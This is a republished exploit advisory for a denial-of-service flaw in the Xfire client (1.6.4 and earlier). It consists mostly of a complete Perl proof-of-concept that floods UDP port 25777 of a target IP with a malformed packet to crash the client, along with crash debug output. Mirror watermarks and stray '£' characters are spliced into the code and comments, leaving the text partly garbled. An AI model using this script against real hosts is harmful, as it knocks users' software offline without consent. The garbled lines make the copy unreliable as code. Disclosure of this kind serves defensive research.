Xfire Malformed Request DoS

Summary
Xfire "allows you to keeps track of your recent servers, your favorites, and your friends' favorites". The following exploit code can be used to crash the Xfire client by sending it a malformed request.
 
Credit:
The information has been provided by n00b.
The original article can be found at: http://milw0rm.com/exploits/2571
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 Details
Vulnerable Systems:
 * Xfire version 1.6.4 and prior

Immune Systems:
 *


Exploit:
#!/usr/bin/perl
#Moderator of http://igniteds.net
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#X fire version:new Release 1.64 <12th, 2006>
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#Vendors web site http://www.xfire.com/
#remote exploit coded by: n00b..
#Credit's to n00b for finding this bug..
#Xfire client has a dos exploit closing the client upon
#success full exploitation xfire will fail..Ive provided the following Íø¹Üu¼Òu.bitsCN.com
#Proof of concept for the exploit..This exploit happens when a malicious
#packet is sent to the client on port udp port 25777 this will throw an exception
#causing xfire to terminate.Tested on win xp service pack 1 + 2.
#this is an example of the error on success full exploitation on the client side.
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#
# Error microsoft visual c++ runtime library
#
# program: c:\program files\xfire\xfire.exe
#
# r6025
# - pure virtual function call.
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#Debugging info available at crash time.
#
# eax=77c280e4 ebx=00000000 ecx=77c112b0 edx=77c61a70 esi=7c90e88e edi=000000ff
# eip=7c90eb94 esp=0012f5dc ebp=0012f6d8 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
# ntdll!KiFastSystemCallRet:
# 7c90eb94 c3 ret
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#the following is the proof of concept available..
 
print " 0day Xfire remote dos exploit coded by n00b Release 1.64 <12th, 2006> \n"; Íø¹Übitscn_com
 
use IO::Socket;
 
$ip = $ARGV[0];
 
$payload = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".

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 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
 £ £ £ £ £ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
 

if(!$ip)
{
 
die "remember the ip\n";
 
}
 
$port = '25777';
 
$protocol = 'udp';
 

$socket = IO::Socket::INET->new(PeerAddr=>$ip,
 £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ PeerPort=>$port,
 £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ Proto=>$protocol,
 £ £ £ £ £ £ £ £ £ £ £ £ £ £ £ Timeout=>'1') || die "Make sure service is running on the port\n";
 

print $socket $payload;
 
close($socket);
 
print "client has died h00ha \n";

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